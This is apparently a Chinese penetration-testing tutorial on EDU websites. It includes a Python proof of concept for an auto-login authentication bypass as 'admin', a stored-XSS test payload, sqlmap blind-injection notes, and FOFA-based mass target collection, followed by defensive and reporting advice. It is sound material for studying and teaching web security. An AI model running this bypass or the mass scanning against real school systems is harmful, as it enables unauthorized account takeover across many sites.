EDU网站漏洞挖掘与利用实战教学文档

一、漏洞挖掘方法论

1. 逻辑缺陷挖掘

攻击流程：

1. 常规弱口令测试无果后转向JS审计
2. 发现系统存在根据账号自动登录的功能
3. 直接构造POST请求绕过登录机制
   • 请求地址：/login/doautologin.edu
   • 请求参数：{'um.userid': "admin"}

检测方法：

• 检查响应头中是否包含Set-Cookie字段
• 若存在则表明登录成功

POC代码：

import requests

def poc(url):
    poc_url = url + '/login/doautologin.edu'
    data = {'um.userid': "admin"}
    try:
        res = requests.post(poc_url, data=data, timeout=5)
        if (res.headers.get("Set-Cookie")):
            print(url + '/login.html')
    except BaseException:
        pass

2. 存储型XSS漏洞

漏洞分析：

• 前端因素：
  • 使用普通HTML标签而非RCDATA元素(如<textarea>、<title>)
  • 未对用户输入进行HTML编码处理
• 后端因素：
  • 完全没有输入过滤机制

利用方法：

• 直接插入恶意脚本：<script>alert('1')</script>

检测要点：

1. 寻找所有文本输入点
2. 测试输入是否被原样存储和渲染

3. SQL注入漏洞

发现过程：

1. 常规注入测试无果
2. 最终在第一个函数中发现注入点
3. 确认是布尔型盲注

利用方法：

• 使用Sqlmap进行自动化注入测试

二、批量漏洞挖掘技术

1. 目标收集方法

1. 在FOFA等网络空间测绘平台搜索：
   • 语法："xx系统" && icon_hash="11xxxx"
2. 使用FOFA Viewer导出目标列表
3. 去重处理

2. 自动化验证

• 根据漏洞指纹编写批量验证脚本
• 使用多线程提高效率

三、安全防护建议

1. 开发安全规范

1. 认证机制：
   • 禁止自动登录功能
   • 实施多因素认证
2. 输入处理：
   • 所有用户输入必须经过严格过滤
   • 实施上下文相关的输出编码
3. 数据库安全：
   • 使用参数化查询
   • 实施最小权限原则

2. 安全测试要点

1. 必须检查所有输入点
2. 审计前端JavaScript代码
3. 理解应用程序的业务逻辑

四、渗透测试方法论

1. 信息收集阶段：

   • 使用F12开发者工具分析前端代码
   • 特别关注有弹框的页面

2. 漏洞挖掘原则：

   • 前端展示行为完全可控
   • 每个参数都可能成为攻击向量

3. 深度测试要求：

   • 必须理解程序底层逻辑
   • 明确每个参数的实际意义和用途

五、漏洞报告流程

1. 确认漏洞后及时报告给相关单位
2. 提供详细的重现步骤和修复建议
3. 跟踪漏洞修复进度

附录：实用工具清单

1. 漏洞验证：

   • Burp Suite
   • OWASP ZAP

2. SQL注入：

   • Sqlmap

3. 网络测绘：

   • FOFA
   • FOFA Viewer

4. 开发调试：

   • Chrome开发者工具
   • Firefox开发者工具

注：本文所述技术仅用于合法授权下的安全测试，未经授权进行测试属于违法行为。